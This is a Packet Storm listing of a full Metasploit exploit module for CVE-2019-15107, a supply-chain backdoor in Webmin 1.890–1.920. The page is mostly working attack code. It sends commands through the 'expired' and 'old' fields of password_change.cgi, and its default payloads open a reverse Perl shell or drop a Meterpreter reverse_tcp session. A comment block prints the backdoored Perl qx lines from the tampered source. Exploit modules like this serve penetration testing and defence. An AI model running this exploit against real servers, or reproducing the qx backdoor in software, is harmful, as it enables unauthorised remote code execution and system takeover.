exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Webmin 1.920 password_change.cgi Backdoor

Webmin 1.920 password_change.cgi Backdoor
Posted Aug 23, 2019
Authored by wvu | Site metasploit.com

This Metasploit module exploits a backdoor in Webmin versions 1.890 through 1.920. Only the SourceForge downloads were backdoored, but they are listed as official downloads on the project's site. Unknown attacker(s) inserted Perl qx statements into the build server's source code on two separate occasions: once in April 2018, introducing the backdoor in the 1.890 release, and in July 2018, reintroducing the backdoor in releases 1.900 through 1.920. Only version 1.890 is exploitable in the default install. Later affected versions require the expired password changing feature to be enabled.

tags | exploit, perl
advisories | CVE-2019-15107
SHA-256 | a77b36da3b341bc12695770cadbf155d839a3d53526172e82c4c2022be857299

Webmin 1.920 password_change.cgi Backdoor

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin password_change.cgi Backdoor',
'Description' => %q{
This module exploits a backdoor in Webmin versions 1.890 through 1.920.
Only the SourceForge downloads were backdoored, but they are listed as
official downloads on the project's site.

Unknown attacker(s) inserted Perl qx statements into the build server's
source code on two separate occasions: once in April 2018, introducing
the backdoor in the 1.890 release, and in July 2018, reintroducing the
backdoor in releases 1.900 through 1.920.

Only version 1.890 is exploitable in the default install. Later affected
versions require the expired password changing feature to be enabled.
},
'Author' => [
'AkkuS', # (Özkan Mustafa Akkuş) Discovery and independent module
'wvu' # This module and updated information about the backdoor
],
'References' => [
['CVE', '2019-15107'], # y tho
['URL', 'http://www.webmin.com/exploit.html'],
['URL', 'https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html'],
['URL', 'https://blog.firosolutions.com/exploits/webmin/'],
['URL', 'https://github.com/webmin/webmin/issues/947']
],
'DisclosureDate' => '2019-08-10',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
['Automatic (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => [
Gem::Version.new('1.890'), Gem::Version.new('1.920')
],
'Type' => :unix_memory,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'}
],
['Automatic (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => [
Gem::Version.new('1.890'), Gem::Version.new('1.920')
],
'Type' => :linux_dropper,
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))

register_options([
Opt::RPORT(10000),
OptString.new('TARGETURI', [true, 'Base path to Webmin', '/'])
])

register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)

unless res
vprint_error('Server did not respond')
return CheckCode::Unknown
end

version =
res.headers['Server'].to_s.scan(%r{MiniServ/([\d.]+)}).flatten.first

unless version
vprint_error('Webmin version not detected')
return CheckCode::Unknown
end

version = Gem::Version.new(version)

vprint_status("Webmin #{version} detected")
checkcode = CheckCode::Detected

unless version.between?(*target['Version'])
vprint_error("Webmin #{version} is not a supported target")
return CheckCode::Safe
end

vprint_good("Webmin #{version} is a supported target")
checkcode = CheckCode::Appears

res = execute_command("echo #{token}")

unless res
vprint_error('Webmin did not respond to check command')
return checkcode
end

if res.body.include?('Password changing is not enabled!')
vprint_error('Expired password changing disabled')
return CheckCode::Safe
end

if res.body.include?(token)
vprint_good('Webmin executed a benign check command')
checkcode = CheckCode::Vulnerable
else
vprint_error('Webmin did not execute our check command')
return CheckCode::Safe
end

checkcode
end

def exploit
# These CheckCodes are allowed to pass automatically
checkcodes = [
CheckCode::Appears,
CheckCode::Vulnerable
]

unless checkcodes.include?(check) || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end

print_status("Configuring #{target.name} target")

case target['Type']
when :unix_memory
print_status("Sending #{datastore['PAYLOAD']} command payload")
vprint_status("Generated command payload: #{payload.encoded}")

res = execute_command(payload.encoded)

if res && datastore['PAYLOAD'] == 'cmd/unix/generic'
print_warning('Dumping command output in full response body')

if res.body.empty?
print_error('Empty response body, no command output')
return
end

print_line(res.body)
end
when :linux_dropper
print_status("Sending #{datastore['PAYLOAD']} command stager")
execute_cmdstager
end
end

=begin
wvu@kharak:~/Downloads$ diff3 webmin-1.{890,930,920}/password_change.cgi
====2
1:1c
3:1c
#!/usr/bin/perl
2:1c
#!/usr/local/bin/perl
====1
1:12c
$in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;
2:12c
3:12c
$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
====3
1:40c
2:40c
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
3:40c
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
====3
1:200c
2:200c
# Show ok page
3:200c

wvu@kharak:~/Downloads$
=end
def execute_command(cmd, _opts = {})
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
'headers' => {'Referer' => full_uri},
'vars_post' => {
# 1.890
'expired' => cmd,
# 1.900-1.920
'new1' => token,
'new2' => token,
'old' => cmd
}
}, 3.5)
end

def token
@token ||= Rex::Text.rand_text_alphanumeric(8..42)
end

end
Login or Register to add favorites

File Archive:

February 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    16 Files
  • 2
    Feb 2nd
    19 Files
  • 3
    Feb 3rd
    0 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    2 Files
  • 7
    Feb 7th
    10 Files
  • 8
    Feb 8th
    25 Files
  • 9
    Feb 9th
    37 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    17 Files
  • 13
    Feb 13th
    20 Files
  • 14
    Feb 14th
    25 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    6 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    35 Files
  • 20
    Feb 20th
    25 Files
  • 21
    Feb 21st
    18 Files
  • 22
    Feb 22nd
    15 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    10 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    37 Files
  • 27
    Feb 27th
    34 Files
  • 28
    Feb 28th
    27 Files
  • 29
    Feb 29th
    8 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close